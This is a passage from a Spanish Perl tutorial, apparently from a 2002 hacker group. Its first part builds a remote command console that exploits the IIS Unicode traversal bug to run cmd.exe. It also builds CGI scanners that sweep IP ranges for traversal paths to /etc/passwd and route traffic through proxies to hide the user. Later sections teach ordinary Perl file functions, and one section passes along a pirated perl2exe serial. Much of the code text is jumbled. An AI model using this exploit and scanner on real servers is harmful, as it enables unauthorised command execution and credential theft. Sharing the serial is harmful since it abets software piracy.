"$comando\n"; #Imprime el comando introducido $page = getprint "http://$server/scripts/.. %c1%1c../winnt/system32/cmd.exe?/c+$comando"; print "$page\n"; #imprime la pagina de arriba con el comando intrucido y los espacios separado por + } else { print "El comando introducido no es correcto\n";} }

<--> - NOTA: e puesto el bug cgi de unicode clasica pero eso podreis cambiarlo a vuestro gusto ;).

. ====================================================================== ====. |=======~ 40.0.0 CREANDO UN SCANNER DE CGIS ~=============================== | ====================================================================== ===== - Diossssss ya tenemos una consola, ahora se nos apetece hacer un scanner de vulnerabilidades de cgis, puesssssssss ya esta seguiremos con el modulo LWP::Simple y ademas u saremos LWP::UserAgent, naaa para ver la respuesta del servidor. - Umm estaba bien que nuestro scanner al conectar informacion del server, veamos un ejemplo: Ejemplo: #!/usr/bin/perl use LWP::Simple; $url="http://127.0.0.1"; ($content_type, $document_length, $modified_time, $expires, $server) = head($url); #head tiene 5 valores asociados print "Content-type: $content_type \n"; print "Document-Length:$document_length\n"; print "Modified-Time: $modified_time \n"; print "Expires: $expires \n"; print "Server: $server \n"; sacara

SALIDA:

[root@localhost final]# ./head.pl Content-type: text/html Document-Length: Modified-Time: Expires: Server: Apache-AdvancedExtranetServer/1.3.19 (LinuxMandrake/3mdk) * Interesante para nuestro scanner no?? - jeje - Ahora otra cosa interesante seria obtener el codigo de estado de respuesta del server, pero en forma de numero , si la respuesta que nos da el server es 200 es que la pagina, archivo o imagen ha sido encontrado, tambien esta el 404 que sale cuando no se encuentra el archivo o documento en el servidor, y la 500 indica que el server no tira.

- Veamos como se utiliza, esto va a ser el motor de nuestro scanner, vamos a usar el modulo LWP::UserAgent : Ejemplo: #!/usr/bin/perl use LWP::Simple; use LWP::UserAgent; $url="http://127.0.0.1"; @cgis=("no_existe.html","no_existe.html","index.shtml","no_existe.html "); foreach $cgi (@cgis) { completa $urlcgi); #vamos a ordenarlos $urlcgi="$url/$cgi";#formamos la direccion $ua = LWP::UserAgent->new(); $request = HTTP::Request->new('HEAD',

$response = $ua->request($request); if ($response->code == 200) { #si la respuesta es 200 el server es vulnerable print "$urlcgi -> vulnerable code:", $response-> code,"\n"; } else { print "$urlcgi -> no vulnerable code:", $response->code,"\n";} #si no el server no es vulenrable }

SALIDA: [root@localhost final]# perl scancgi.pl http://127.0.0.1/no_existe.html -> no vulnerable code:404 http://127.0.0.1/no_existe.html -> no vulnerable code:404 http://127.0.0.1/index.shtml -> vulnerable code:200 <-- es la unica pagina que existe http://127.0.0.1/no_existe.html -> no vulnerable code:404 - biennnnnn, veamos como quedaria un scanner de cgis, un poco mas formal <++> disidentscgi.pl #!/usr/bin/perl ###################################################################### ################################## # PROGRAMA: DisidentsCGIScanner v1.0 # # AUTOR: DDiego # # MAIL: DDiegodisid@yahoo.es # # URL: http:www.disidents.int-ltd.com # # MAILTEAM: Disisidents@yahoo.es # # Sintaxis: disidentscgi.pl [ip/host del servidor] [lista cgis] [+v|v] (ver todas las respuestas o no)# # Example: ./disidentscgiscan.pl localhost listacgis.txt +v # ###################################################################### ################################## use LWP::Simple; use LWP::UserAgent; die "sintaxis: $0 [ip/host del servidor] [lista cgis] [+v|-v] Escriba $0 --help para ver la ayuda\n" unless ($ARGV[0]); $url=$ARGV[0]; #Un argumento para host o ip del server if ($ARGV[0] eq "--help"){ &ayuda; } else {

require $ARGV[1]; print print print print print " " " " "

#Un argumento para la lista de cgis vulnerables \n"; \n"; \n"; \n"; \n\n";

################################################## # # # DisidentsCGIScanner v.1.0 by DDiego # # # ##################################################

$urlformada="http://$ARGV[0]";

($content_type, $document_length, $modified_time, $expires, $server) = head($urlformada); print "TIPO DE SERVIDOR: $server\n\n"; print "Escaneando CGIS\n"; $urlcgi="http://$url"; $ua = LWP::UserAgent->new(); $ua->agent('Disidents navigator'); #Tipo de navegador que usamos xDDD $request = HTTP::Request->new('HEAD', $urlcgi); $response = $ua->request($request); if ($response->code == 500) { desconocida\n"; } print "$urlcgi direccion

elsif ($ARGV[2] eq "+v") } elsif($ARGV[2] eq "-v") { }

{ &vertodo;

&vervulnerables;

sub vertodo { foreach $cgi (@cgis) { $urlcgi="http://$url/$cgi"; $ua = LWP::UserAgent->new(); $ua->agent('Disidents navigator'); $request = HTTP::Request->new('HEAD', $urlcgi); $response = $ua->request($request); if ($response->code == 200) { print "$urlcgi OK\n"; } else { print "$urlcgi NOT\n";} } } sub vervulnerables { foreach $cgi (@cgis) { $urlcgi="http://$url/$cgi"; $ua = LWP::UserAgent->new(); $ua->agent('Disidents navigator'); $request = HTTP::Request->new('HEAD', $urlcgi); $response = $ua->request($request); if ($response->code == 200) { print "$urlcgi OK \n"; } }

print "Escaneo finalizado\n\n\n"; } } ##################### # Parte de la ayuda # ##################### print "[ip/host del servidor]: Host o ip del server sin las http \n"; print "[lista cgis]: listascgis.txt, puedes incluir mas cgis a tu gusto\n"; print "[+v|-v]: Modo verbose, imprime todos los resultados ya sean fallidos o no con +v\n"; print " que encuentre vulnerables\n"; print "Ejemplo: ./disidentscgiscanvp.pl 255.255.255.255 listacgis.txt +v\n\n\n"; } sub ayuda {

print " ------------------------------------------------\n"; print " Disidents Hacker Team - 2002 -\n"; print " Webpage: http://www.disidents.int-ltd.com -\n"; print " Autor: DDiego -\n"; print " Mail: DDiegodisid\@yahoo.es -\n"; print " Mailteam: Disidents\@yahoo.es -\n"; print " ------------------------------------------------\n";

<--> - guapoooo ehhhh, good ya tenemos nuestro scanner de cgis, ahora veamos como tiene que ser el archivo de la lista, seria un array, asi: @cgis=("....../autoexec.bat", "....../etc/master.passwd", "....../etc/passwd"); #Este es un ejemplo en pequeo, en la pagina #del grupo hay una lista de mas de 1400 #vulnerabilidades - Consejos para la lista, pues te pueden fallar los @ ya sabes ponle una barra delante \ , y tambien te puede dar error en cgis que pongas C:\ con la

\, tendras que poner C:\\

. ====================================================================== ====. |=======~ 40.1.0 CREANDO UN SCANNER DE CGIS CON SOPORTE PARA USA UN PROXY ~= | ====================================================================== ===== - Buff que putada, que nuestro scanner de cgis scanee a pelo, pero noooooooo locos porque el seor DDiego va a ensearos como vuestro scanner va a poder usar un proxy tranquilamente, buff que suerte que tengais este manual y que yo este tan pasao de escribirlo xDDDDDDDD, solo con una linea ya podemos usar un proxy veamos un ejemplo: * Solo tenemos que aadir la linea: 'http://ipdelproxy:80/'); y ya esta, veamos como quedaria: <++> disidentscgiscanvp.pl #!/usr/bin/perl ###################################################################### ############################################################### # PROGRAMA: DisidentsCGIScanner v1.1 Proxy Version # # AUTOR: DDiego # # MAIL: DDiegodisid@yahoo.es # # URL: http:www.disidents.int-ltd.com # # MAILTEAM: Disisidents@yahoo.es # # Sintaxis: disidentscgiscanvp.pl [ip/host del servidor] [lista cgis] [+v|-v] (ver todas las respuestas o no) [ip del proxy:puerto] # # Example: ./disidentscgiscanvp.pl 255.255.255.255 listacgis.txt +v 255.255.255.255:80 # ###################################################################### ############################################################### use LWP::Simple; $ua->proxy(['http'],

use LWP::UserAgent; die "sintaxis: $0 [ip/host del servidor] [lista cgis] [+v|-v] [ip del proxy:puerto] Escriba $0 --help para ver la ayuda\n" unless ($ARGV[0]); $url=$ARGV[0]; #Un argumento para if ($ARGV[0] eq "--help"){ &ayuda; } else { require $ARGV[1]; host o ip del server

#Un argumento para la lista de cgis vulnerables

print " ################################################################ \n"; print " # # \n"; print " # DisidentsCGIScanner v.1.1 Proxy Version by DDiego # \n"; print " # # \n"; print " ################################################################ \n\n"; $urlformada="http://$ARGV[0]"; #Aqui no usamos proxy pero tampoco hacemos nada malo ($content_type, $document_length, $modified_time, $expires, $server) = head($urlformada); print "TIPO DE SERVIDOR: $server\n\n"; print "Escaneando CGIS\n"; $lista="$ARGV[2]"; $proxy="$ARGV[3]"; $urlcgi="http://$url"; $ua = LWP::UserAgent->new(); $ua->agent('Disidents navigator'); #Tipo de navegador que usamos $ua->proxy(['http'], "http://$proxy"); #Proteccion del proxy ;D, aqui si lo necesitamos $request = HTTP::Request->new('HEAD', $urlcgi); $response = $ua->request($request); if ($response->code == 500) { desconocida\n"; } print "$urlcgi direccion

elsif ($lista eq "+v")

{ }

&vertodo;

elsif($lista eq "-v")

{ }

&vervulnerables;

sub vertodo { foreach $cgi (@cgis) { $urlcgi="http://$url/$cgi"; $ua = LWP::UserAgent->new(); $ua->agent('Disidents navigator'); $ua->proxy(['http'], "http://$proxy"); #a protegernos el culo $request = HTTP::Request->new('HEAD', $urlcgi); $response = $ua->request($request); if ($response->code == 200) { print "$urlcgi OK\n"; } else { print "$urlcgi NOT\n";} } } sub vervulnerables { foreach $cgi (@cgis) { $urlcgi="http://$url/$cgi"; $ua = LWP::UserAgent->new(); $ua->agent('Disidents navigator'); $ua->proxy(['http'], "http://$proxy"); #vivan los proxies $request = HTTP::Request->new('HEAD', $urlcgi); $response = $ua->request($request); if ($response->code == 200) { print "$urlcgi OK \n"; } } print "Escaneo finalizado\n\n\n"; } } ##################### # Parte de la ayuda # ##################### sub ayuda { print "[ip/host del servidor]: Host o ip del server sin las http \n"; print "[lista cgis]: listascgis.txt, puedes incluir mas cgis a tu gusto\n"; print "[+v|-v]: Modo verbose, imprime todos los resultados ya sean fallidos o no con +v\n"; print " que encuentre vulnerables\n"; print "[ip del proxy:puerto]: Proxy y puerto sin las http, tipo 255.255.255.255:80\n"; print "Ejemplo: ./disidentscgiscanvp.pl 255.255.255.255 listacgis.txt +v 255.255.255.255:80\n\n\n"; }

print " ------------------------------------------------\n"; print " Disidents Hacker Team - 2002 -\n"; print " Webpage: http://www.disidents.int-ltd.com -\n"; print " Autor: DDiego -\n"; print " Mail: DDiegodisid\@yahoo.es -\n"; print " Mailteam: Disidents\@yahoo.es -\n"; print " ------------------------------------------------\n"; <--> + mas guapoooo todavia ;D

- Joder vemos un problema que no deja opcion de hacerlo sin proxy, hagamos unos ajustes entre argumento y argumento:

<++> disidentscgiscanrvp.pl

#!/usr/bin/perl ###################################################################### ################################################################## # PROGRAMA: DisidentsCGIScanner Range v1.2 Proxy Version # # AUTOR: DDiego # # MAIL: DDiegodisid@yahoo.es # # URL: http:www.disidents.int-ltd.com # # MAILTEAM: Disisidents@yahoo.es # # Sintaxis: disidentscgiscanrvp.pl [ip de inicio] [ip final] [lista cgis] [+v|-v] (ver todas las respuestas o no) [ip del proxy:puerto]# # Example: ./disidentscgiscanrvp.pl 255.255.255.255 255.255.255.255 listacgis.txt +v -p 255.255.255.255:80 # ###################################################################### ################################################################## use LWP::Simple; use LWP::UserAgent; die "sintaxis: $0 [ip de inicio] [ip final] [lista cgis] [+v|-v] [-p ip del proxy:puerto] Escriba $0 --help para ver la ayuda\n" unless ($ARGV[0]); if ($ARGV[0] eq "--help"){

&ayuda; } else {

$ip1=$ARGV[0]; #Un argumento para host o ip del server $ip2=$ARGV[1]; require $ARGV[2]; $verbose=$ARGV[3]; if ($ARGV[4] eq "-p") { $proxy="$ARGV[5]"; die "Falta por introducir el proxy y su puerto\n" unless ($ARGV[5]); } print " ###################################################################### \n"; print " # # \n"; print " # DisidentsCGIScanner Range v.1.2 Proxy Version by DDiego # \n"; print " # # \n"; print " ###################################################################### \n\n"; @ipini = split(/\./,$ip1);#sustituye el punto por espacios @ipfin = split(/\./,$ip2);#sustituye el punto por espacios

if ($ipini[3]>255 | $ipfin[3]>255){ print "El rango de ips tiene que estar entre 1 y 255 $ipfin no es posible\n"; exit; } elsif ($ipini[3]>$ipfin[3]) { print "La ip de inicio no puede ser mayor que la ip final introduzca bien los parametros\n"; exit; } print "Escaneando CGIS\n"; #$proxy="$ARGV[2]";

for ($rango=$ipini[3];$rango<=$ipfin[3];$rango++) { las ip $ipscan="$ipini[0].$ipini[1].$ipini[2].$rango"; #preparamos

usamos

$urlcgi="http://$ipscan"; $ua = LWP::UserAgent->new(); $ua->agent('Disidents navigator'); #Tipo de navegador que

if ($ARGV[5]) { &proxyop } $request = HTTP::Request->new('HEAD', $urlcgi); $response = $ua->request($request); if ($response->code == 500) { encontrado servidor httpd activo\n"; } elsif ($verbose eq "+v") } elsif($verbose eq "-v") sub vertodo { } foreach $cgi (@cgis) { $urlcgi="http://$ipscan/$cgi"; $ua = LWP::UserAgent->new(); $ua->agent('Disidents navigator'); if ($ARGV[5]) { &proxyop } $request = HTTP::Request->new('HEAD', $urlcgi); $response = $ua->request($request); if ($response->code == 200) { print "$urlcgi } else { print "$urlcgi NOT\n";} } } sub vervulnerables { foreach $cgi (@cgis) { $urlcgi="http://$ipscan/$cgi"; $ua = LWP::UserAgent->new(); $ua->agent('Disidents navigator'); if ($ARGV[5]) { &proxyop } $request = HTTP::Request->new('HEAD', $urlcgi); $response = $ua->request($request); if ($response->code == 200) { print OK \n"; } } { &vervulnerables; { &vertodo; print "$urlcgi NO se ha

OK\n";

"$urlcgi

sub servidor { $urlformada="http://$ipscan"; #Aqui no usamos proxy pero tampoco hacemos nada malo ($content_type, $document_length, $modified_time, $expires, $server) = head($urlformada); print "TIPO DE SERVIDOR: $server\n\n"; } sub proxyop {

$ua->proxy(['http'], "http://$proxy"); #a protegernos el culo }

print "Escaneo finalizado\n\n\n"; } } }

##################### # Parte de la ayuda # ##################### print "[ip de inicio]: Host o ip de inicio para escanear sin las http \n"; print "[ip final]: Host o ip de inicio para escanear sin las http \n"; print "[lista cgis]: listascgis.txt, puedes incluir mas cgis a tu gusto\n"; print "[+v|-v]: Modo verbose, imprime todos los resultados ya sean fallidos o no con +v\n"; print " que encuentre vulnerables\n"; print "[-p ip del proxy:puerto]: Proxy y puerto sin las http, tipo -p 255.255.255.255:80, si no se va a\n"; print "[-p ip del proxy:puerto]: Usar la opcion de proxy simplemente no se ignoaran esos argumentos\n"; print "Ejemplo usando proxy: ./disidentscgiscanvp.pl 192.168.0.1 192.168.0.100 listacgis.txt +v -p 255.255.255.255:80\n"; print "Ejemplo sin usar proxy: ./disidentscgiscanvp.pl 192.168.0.1 192.168.0.100 listacgis.txt +v\n\n\n"; } print " ----------------------------------------------\n"; print " - Disidents Hacker Team - 2002 -\n"; print " - Webpage: http://www.disidents.int-ltd.com -\n"; print " - Autor: DDiego -\n"; print " - Mail: DDiegodisid\@yahoo.es -\n"; print " - Mailteam: Disidents\@yahoo.es -\n"; print " ----------------------------------------------\n"; sub ayuda {

<-->

. ====================================================================== ====. |====~ 41.0.0 QUEEEE QUE EN LA CONSOLA DE CGIS TAMBIEN QUIERES USAR PROXY ~= | ====================================================================== ===== - No hay problema, con el modulo LWP::UserAgent tambien se pueden hacer get, y imprimir la pagina jaja veamos un poco mas de code: use LWP::UserAgent; $proxy="255.255.255.255"; #ip del proxy que quieras my $ua = new LWP::UserAgent; $ua->proxy(['http'], "http://$proxy"); #nuestra linea preferida my $req = new HTTP::Request('GET', 'http://127.0.0.1/index.html'); my $res = $ua->request($req); print $res->code."\n"; #imprimira 200 , este ya lo vimos print $res->message."\n";#imprimira OK de que ha encontrado la pagina print $res->content."\n";#imprimira el contenido de la web,ajaja esto nos interesa * Veamos como quedaria el programa "completo", pero bueno jaja vale pa echar el rato ;): va es un poco apaao

<++> disidentsconsolavp.pl #!/usr/bin/perl ###################################################################### ########## # PROGRAMA: DisidentsConsola v.1.1 Proxy Version # # AUTOR: DDiego # # MAIL: DDiegodisid@yahoo.es # # URL: http:www.disidents.int-ltd.com # # MAILTEAM: Disisidents@yahoo.es # # Sintaxis: disidentsconsolavp.pl [ip/host del servidor] [ip del proxy:puerto] #

###################################################################### ########## use LWP::Simple; die "sintaxis: $0 [ip/host del servidor] [ip del proxy:puerto]\n" unless ($ARGV[1]); $url=$ARGV[0]; #Un argumento para la linea de comandos host o ip del server $proxy=$ARGV[1]; print " ############################################################# \n"; print " # # \n"; print " # DisidentsConsola v.1.1 Proxy Version by DDiego # \n"; print " # # \n"; print " ############################################################# \n"; while (1) { print "Disidentsconsola: "; $comando= <STDIN>; chop $comando; #Quita el enter if ($comando =~ s/ /+/g) #Sustituye los espacios por + { $cgi="scripts/.. %c1%1c../winnt/system32/cmd.exe?/c+$comando";#este cgi clasico unicode se puede cambiar ;) $urlcgi="http://$url/$cgi"; use LWP::UserAgent; my $ua = new LWP::UserAgent; $ua->agent('Disidents console'); $ua->proxy(['http'], "http://$proxy"); my $req = new HTTP::Request('GET', $urlcgi); my $res = $ua->request($req); print $res->code."\n"; print $res->message."\n"; print $res->content."\n"; } else { print "El comando introducido no es correcto\n";}

} <-->

. ====================================================================== ====. |=======~ 42.0.0 __DATA__ Y __END__ ~======================================= | ====================================================================== ===== - Para que sirven, pues veamos un par de ejemplos comentados: Ejemplo: #!/usr/bin/perl $salida = ; print "$salida\n"; __DATA__ Esto imprimira en pantalla

SALIDA: Esto imprimira en pantalla

Ejemplo: #!/usr/bin/perl $salida = ; print "$salida\n"; __END__ Esto imprimira en pantalla

SALIDA: Esto imprimira en pantalla

- Como podemos observar con el manejador data imprime,el texto que esta despues de __DATA__ o de __END__ .

. ====================================================================== ====. |=======~ 43.0.0 DEFINED ~================================================== | ====================================================================== ===== - Con defined pordemos saber si un elemento ha sido definido o no, si ha sid o definido devuelve un 1 si no un 0.

Ejemplo: #!/usr/bin/perl @array = (damicita,vanmore,w3ndig0,rootzero); if(defined($array[4])) { print "Hay cinco en el array\n"; } else { print "no hay cinco en el array\n"; SALIDA: [root@localhost articulo]# perl defined.pl no hay cinco en el array

. ====================================================================== ====. |=======~ 44.0.0 READ Y SYSREAD LEYENDO UNOS BYTES ~======================== | ====================================================================== ===== - Gracias a read podemos leer los bytes de un archivo que queramos por ej he creado el texto disidents.txt que contiente el texto DISIDENTS HACKER TEAM , este archivo ocupa 23 bytes dos de los cuales imnecesarios, podemos ver el archivo con un editor hexadecimal ver porque y eliminar los bytes que no necesitamos o usar truncate mirad + arriba ;), veamos como funciona read:

Ejemplo: #!/usr/bin/perl open (ARCHIVO,'disidents.txt') or die ("no se ha podido encontrar el archivo"); read(ARCHIVO, $salida,19); #leemos 19 bytes close(ARCHIVO); open (ARCHIVO,'disidents.txt') or die ("no se ha podido encontrar el archivo"); read(ARCHIVO, $salida2,20);#leemos 20 bytes close(ARCHIVO); open (ARCHIVO,'disidents.txt') or die ("no se ha podido encontrar el archivo"); read(ARCHIVO, $salida3,21);#leemos 21 bytes close(ARCHIVO); print "$salida\n"; print "$salida2\n"; print "$salida3\n"; #Aqui saldra la frase completa

SALIDA: [root@localhost articulo]# perl read.pl DISIDENTS HACKER TE DISIDENTS HACKER TEA DISIDENTS HACKER TEAM - Ahora veamos con sysread, con sysread simplente utilizamos la funcion read del sistema:

Ejemplo: #!/usr/bin/perl open (ARCHIVO,"disidents.txt") or die ("no se ha podido encontrar el archivo"); sysread(ARCHIVO, $salida, 21); print "$salida\n"; SALIDA: [root@localhost articulo]# perl sysread.pl DISIDENTS HACKER TEAM

. ====================================================================== ====. |=======~ 45.0.0 SYSWRITE ESCRIBIENDO UNOS BYTES ~=========================

| ====================================================================== ===== - Umm ahora que necesitamos escribir en un archivo, veamos como ;): SINTAXIS: sysread FILEHANDLE, SCALAR, LENGTH Ejemplo: #!/usr/bin/perl open (ARCHIVO,">disidents.txt") or die ("no se ha podido encontrar el archivo"); #Abrimos el archivo en modo escritura syswrite(ARCHIVO, "DISIDENTS HACKER TEAM", 21); #se puede especificar el numero de bits a aadir

* Otra forma bonita: Ejemplo: #!/usr/bin/perl $cadena="DISIDENTS HACKER TEAM"; open (ARCHIVO,">disidents.txt") or die ("no se ha podido encontrar el archivo"); syswrite(ARCHIVO, $cadena, length($cadena)); - o sin especificar : syswrite(ARCHIVO, $cadena);

* jeje hemos aadido el texto, pero imaginemos que queremos aadirlo en otra parte del archivo ;) SINTAXIS: sysread FILEHANDLE, SCALAR, LENGTH, OFFSET

. ====================================================================== ====. |=======~ 46.0.0 SYSSEEK Y SEEK ~===========================================

| ====================================================================== ===== - Ahora supongamos que queremos abrir un archivo, y empezar a leer a partir de una determinada posicion, para ello usaremos seek. Ejemplo: #!/usr/bin/perl open (ARCHIVO,'disidents.txt') or die ("no se ha podido encontrar el archivo"); seek(ARCHIVO, 19,0); #leemos a partir de los 19 primeros bytes respecto al inicio del archivo * Si pusieramos: seek(ARCHIVO, 19,1); #leemos a partir de los 19 primeros bytes respecto a #la posicion actual seek(ARCHIVO, 19,2); #leemos a partir de los 19 primeros bytes respecto al #final del archivo - O tambien se pueden usar las constantes SEEK_CUR, SEEK_SET O SEEK_END * Si pusieramos: seek(ARCHIVO, -19,SEEK_END); - Estariamos posicionados a 19 bytes del final del archivo * sysseek se usa de la misma manera.

. ====================================================================== ====. |=======~ 47.0.0 TELL & TELLDIR ~=========================================== | ====================================================================== ===== - Gracias a "tell" podemos saber la posicion en bytes actual ya sea desde el

principio de un archivo la posicion actual o final, para ello comprenderemos un poco mas como se usa seek ;). SINTASIX: seek (FILEHANDLE) Ejemplo: #!/usr/bin/perl open (ARCHIVO,"disidents.txt") or die ("no se ha podido encontrar el archivo"); while(){ $posicion1=tell(ARCHIVO); print "Posicion de inicio $posicion1\n"; #como lee desde el principio solo lee 21 y los imprime seek(ARCHIVO, 25,0); #nos posicionamos desde el inicio 25 bytes $posicion2=tell(ARCHIVO); print "Posicion dos $posicion2\n"; seek(ARCHIVO, 5,1); #nos posicionamos desdela posicion actual 5 caracteres osea llegara a 30 bytes $posicion3=tell(ARCHIVO); print "Posicion tres $posicion3\n"; }

SALIDA: [root@localhost articulo]# perl Posicion de inicio 21 Posicion dos 25 Posicion tres 30 prueba.pl

- Con telldir devuelve una posicion numerica en el directorio, osea nos presenta nuestra ubicacion dentro de los directorios: Ejemplo: #!/usr/bin/perl opendir (DIRECTORIO,".") or die ("no se ha podido encontrar el archivo"); while ($archivo = readdir (DIRECTORIO)) #ahora lee DIRECTORIO y lo mete en $salida { $ubicacion=telldir (DIRECTORIO); print "Archivo: $archivo Ubicacion: $ubicacion\n"; } SALIDA: [root@localhost articulo]# perl telldir.pl

Estamos Estamos Estamos Estamos

en en en en

. 12 .. 24 prueba.pl 44 tuto 56

. ====================================================================== ====. |=======~ 48.0.0 RETURN ~=================================================== | ====================================================================== ===== - Return se usa para devolver un valor y se utiliza solo en subrutinas o con eval, veamos un ejemplo: Ejemplo: #!/usr/bin/perl print "Introduzca su nombre: "; chop ($nombre=()); print "Introduzca su team: "; chop ($team=()); print "Eres " .&resultado. "\n"; sub resultado { $salida="$nombre de $team"; return($salida); #devuelve pantalla } la salida e imprimira en

SALIDA: [root@localhost articulo]# perl return.pl Introduzca su nombre: DDiego Introduzca su team: Disidents Eres DDiego de Disidents

. ====================================================================== ====.

|=======~ 49.0.0 SELECT ~=================================================== | ====================================================================== ===== - La funcion select nos puede servir para realizar operaciones por defecto,a la hora de usar un manejador como puede ser un archivo, veamos un ejemplo: Ejemplo: #!/usr/bin/perl open (ARCHIVO,'>disidents.txt') or die ("no se ha podido encontrar el archivo"); select (ARCHIVO); print "DISIDENTS HACKER TEAM\n"; #Lo guaadara en disidents.txt

. ====================================================================== ====. |=======~ 50.0.0 STUDY ~==================================================== | ====================================================================== ===== - Existen mas formas de buscar texto para ello usaremos la funcion study: Ejemplo: #!/usr/bin/perl open (ARCHIVO,"disidents.txt") or die ("no se ha podido encontrar el archivo"); while () { study($_); #A buscar if ($_ =~ "DISIDENTS"){ #Si esta dentro la palabra DISIDENTS print "DISIDENTS ESTA DENTRO\n"; #Imprime esto } else { DENTRO\n"; #Imprime esto #Si no esta dentro print "DISIDENTS NO ESTA

} }

. ====================================================================== ====. |=======~ 51.0.0 TIME ~===================================================== | ====================================================================== ===== - La funcion "time" simplemente nos indica el n de segundos que han pasado desde el 1 de Enero de 1970, en plataformas MacOS desde el 1 de Enero de 1904, para que vale yo creo que para nada xDD aparte de usar utime: Ejemplo: #!/usr/bin/perl $segundos= time; print "segundos\n";

. ====================================================================== ====. |=======~ 52.0.0 UTIME ~==================================================== | ====================================================================== ===== - utime sirve para cambiar la ultima fecha de acceso y y modificacion de un archivo. SINTAXIS: utime ATIME MTIME ATIME= fecha de utlimo acceso MTIME= fecha de modificacion - Para la fecha se usa time, va en segundos, veamos como funciona:

Ejemplo: #!/usr/bin/perl $mihora= time; #tiempo transcurrido en segundos desde 1970 @ficheros=("disidents.txt","pepe.txt"); #ficheros que voy a modificar utime $mihora, $mihora, @ficheros; # le ponemos el mismo tiempo

. ====================================================================== ====. |=======~ 53.0.0 REPITIENDO CON x ~========================================= | ====================================================================== ===== - Gracias a x podemos repetir facilmente una cadena, es asi de facil: Ejemplo: #!/usr/bin/perl $texto="DISIDENTS HACKER TEAM"; print ($texto x 10);

. ====================================================================== ====. |=======~ 54.0.0 PERL2EXE ~================================================= | ====================================================================== ===== - Para quienes quieren pasar su script a exe de forma rapida,aunque sin sentido teniendo un interprete, ya que crea un exe de un tamao grandisimo existe este programa el perl2exe, podeis bajarlo de: (http://www.indigostar .com/perl2exe.htm), esto he encontrao por ahi por la red no lo he probado:

-> Logo Master v3.0 - Type perl2exe -register - Serial - ExEd! [Dsi],20527 suena a serial ehh jeje

. ====================================================================== ====. |=======~ 55.0.0 LINKS INTERESANTES ~======================================= | ====================================================================== ===== ---[ FOROS DE DISCURSION: Foro de Disidents ;) : http://www.melodysoft.com/cgibin/foro.cgi?ID=disidents Foro de la web del programador: http://www.lawebdelprogramador.com/news/new.php?id=70&texto=Perl Foro en google : http://groups.google.com/groups? hl=es&group=comp.lang.perl.misc Foro en google : http://groups.google.com/groups? hl=es&group=es.comp.infosistemas.www Foro webmasters : http://www.forowebmasters.com Grupo usenet: : news:comp.lang.perl ---[ DIRECCIONES INTERESANTES -[ CASTELLANO ]Scripts de seguridad en Perl : http://www.gwolf.cx/seguridad/script_seg_perl/index.php3 Perl Mongers Madrid : http://madrid.pm.org/ La Web de Programador : http://www.lawebdelprogramador.com Aula Digital : http://www.auladigital.com/aula.php3?action=category&category=2 Tutoriales owen.fompi.com : http://owen.fompi.com/tutoriales/perl/spanish/ Perl 5.0 un lenguaje multiuso: http://www.iespana.es/perl-es/ Introduccion al Lenguaje Perl: http://www.geocities.com/SunsetStrip/Backstage/6023/CGI_perl_01.html Seguridad perl : http://www.linuxfocus.org/Castellano/November2001/article203.shtml Escribiendo scripts CGI : http://jmarshall.com/easy/cgi/spanish/ Tutorial de Perl : http://www.eui.upm.es/CC/Chuletas/Perl/ Perl LimpiaWebs : http://members.es.tripod.de/asualam/perl/ Tutorial de PERL en espaol : http://granavenida.com/perl/

Manuales GGR SOFTWARE.COM : http://www.cgrsoftware.com/manuales_dir?perl_1 El evangelio de Perl : http://epq.com.co/~cjara/pd4270.cgi?perl/tutorial.html Tutorial de perl : http://www.arrakis.es/~karlos_/manual/perl.html Universidad de Costa Rica : http://anubis.ecci.ucr.ac.cr/~ci1402/p/1998-08.htm Recursos de perl : http://dmoz.org/World/Espaol/Computadoras/Programacin/Lenguajes/Perl / El CGI Hecho Realmente Fcil : http://www.jmarshall.com/easy/cgi/spanish/cgi_footnotes.html Tk Documentation : http://w4.lns.cornell.edu/~pvhp/ptk/doc/ www.abcdatos.com : http://www.abcdatos.com/tutoriales/perl.html WEBADMIN. CURSO 00/01 : http://webadmin.dsic.upv.es/webadmin/prac6/ Curso sobre programacin Perl: http://cdec.unican.es/soporte/cursos/perl/Default.htm Proyecto de Tutorial de Perl : http://proton.ucting.udg.mx/tutorial/perl/tutorial_perl.html www.lpis.com : http://www.lpis.com/ayudas/perl.html Varios tutoriales : http://edu.kipelhouse.com/Aula_Virtual/Apuntes/Internet/Perl/ Archivos en perl : http://www.geocities.com/SiliconValley/Park/3060/archivos.html Universidad de Oviedo : http://www.etsimo.uniovi.es/links/perl.html

-[

INGLES

]-

CGI Programming on the www : http://www.oreilly.com/openbook/cgi/index/idx_s.html <- libro online Network programming in Perl : http://www.1024kb.net/texts/perlnet.html Perlopentut: : http://www.xav.com/perl/lib/Pod/perlopentut.html CPAN : http://www.cpan.org www.68K.org : http://68k.org/~interiot/obscure/oreilly.html Perl documentation : http://www.perldoc.com/ www.perldoc.com : http://www.perldoc.com www.perl.com : http://www.perl.com/pub/q/documentation www.perl.com : http://www.perl.com/pub/q/faqs Manuales para bajar : http://www.gorkhali.com/kamal/download.htm#17 Robert's Perl Tutorial : http://www.netcat.co.uk/rob/perl/win32perltut.html Recursos de perl : http://dmoz.org/Computers/Programming/Languages/Perl/ www.perl.org : http://www.perl.org/ The Perl Jobs Site : http://jobs.perl.org/ The Perl Journal : http://www.tpj.com/ Perl faq index : http://www.faqs.org/faqs/perl-faq/

Perl Paraphernalia : http://perl.plover.com/ Packetstorm Programming tuto : http://packetstorm.mirror.widexs.nl/programming-tutorials/Perl/ code.box.sk : http://code.box.sk/subject.php? subject=Perl -[ CODE ]-

DACHB0DEN LABS : http://www.dachb0den.com/archives/tools.html r00tabega : http://www.r00tabega.org/ - thks taseh por la dire ;) Online Programmer Ezine : http://www.onlineprogrammer.org/ Slashdot : http://slashdot.org/code.shtml Blackcode : http://www.blackcode.com Sourcewell : http://sourcewell.berlios.de

. ====================================================================== ====. |=======~ 56.0.0 LIBROS RECOMENDADOS ~====================================== | ====================================================================== ===== - Los libros estan bien para consultar, pero cuestan una pasta de la hostia, yo conozco 4 libros en particular:

- Titulo: Manual de referencia PERL Autor:Martin C. Brown Editorial: McGraw-Hill N de hojas:1169 Nivel: Intermedio/Avanzado Valoracion: Un libro muy pontente pero muy caro 9.900 pts jaja si que esta valorado - Titulo: Guia de referencia para programadores de perl 5 (The Perl Programmer's Reference) Autores: R. Allen Wyke y Luke Duncan N de hojas: 451 Nivel: Intermedio Valoracion: Mejor el anterior, pero no esta mal te puede aclarar ideas

